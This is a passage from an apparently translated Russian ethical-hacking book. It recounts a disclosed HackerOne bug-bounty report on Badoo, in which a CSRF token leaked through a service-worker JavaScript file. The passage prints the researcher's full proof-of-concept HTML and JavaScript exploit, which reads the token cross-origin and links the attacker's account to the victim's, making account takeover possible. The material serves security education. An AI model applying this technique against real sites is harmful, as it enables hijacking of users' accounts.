Сложность: Средняя
Url: https://badoo.com
Ссылка на отчет: https://hackerone.com/reports/127703¹⁴
Дата отчета: 1 апреля 2016
Выплаченное вознаграждение: $852
Описание:
Если вы взглянете на Badoo, выпоймете, что они защищают-
ся от CSRF включением в URL параметра rt, который имеет
длину всего в 5 символов (по крайней мере, на момент напи-
сания). Хотя я заметил это, когда Badoo запустил кампанию
на HackerOne, я не нашел способа это использовать. Однако,
Махмуд Джамал (zombiehelp54) нашел.
Поняв значение параметра rt, он также заметил, что параметр
возвращался в почти всех json-ответах. К сожалению, это не
принесло пользы, поскольку CORS защищает Badoo от атак,
читая эти ответы. Махмуд продолжил искать.
Оказалось, что файл https://eu1.badoo.com/worker-scope/chrome-service-worker.js
содержит значение rt. Еще лучше было то, что этот файл
мог быть произвольно прочитан атакующим и не требовал от
жертвы никаких действий кроме посещения вредоносной веб-
страницы. Вот код, который он предоставил:
1 <html>
2 <head>
3 <title>Badoo account take over</title>
4 <script src=https://eu1.badoo.com/worker-scope/chrome-s\
5 ervice-worker.js?ws=1></script>
6 </head>
7 <body>
8 <script>
9 function getCSRFcode(str) {
10 return str.split(’=’)[2];
11 }
12 window.onload = function(){
13 var csrf_code = getCSRFcode(url_stats);
14 csrf_url = ’https://eu1.badoo.com/google/verify.phtml?c\
15 ode=4/nprfspM3yfn2SFUBear08KQaXo609JkArgoju1gZ6Pc&authu\
16 ser=3&session_state=7cb85df679219ce71044666c7be3e037ff5\
17 4b560..a810&prompt=none&rt=’+ csrf_code;
18 window.location = csrf_url;
19 };
20 </script>
В общем, когда жертва загружала страницу, она делала запрос
к скрипту Badoo, забирала параметр rt для этого пользователя
и затем делала запрос от имени жертвы. В этом случае, это
было связывание аккаунта Махмуда с аккаунтом жертвы, что
позволяло полностью захватить аккаунт.
Выводы
Где дым, там и огонь, Здесь Махмуд заметил,
что параметр rt возвращался в разных местах, в
конкретных json-ответах. Поэтому он правильно
предположил, что он может быть показан где-то,
где его можно будет использовать - в этом случае
в js файле.
Двигаясь дальше, если вы чувствуете, что что-
то не так, продолжайте исследования. Используя
Burp проверьте все ресурсы, к которым осуществ-
ляется вызов, когда вы посещаете целевой сайт/-
приложение,
#42552 в Разное
#1026 в Бизнес-литература
#5054 в Развитие личности
хакер, хакинг, основы этичного хаки...
16+
Отредактировано: 08.03.2019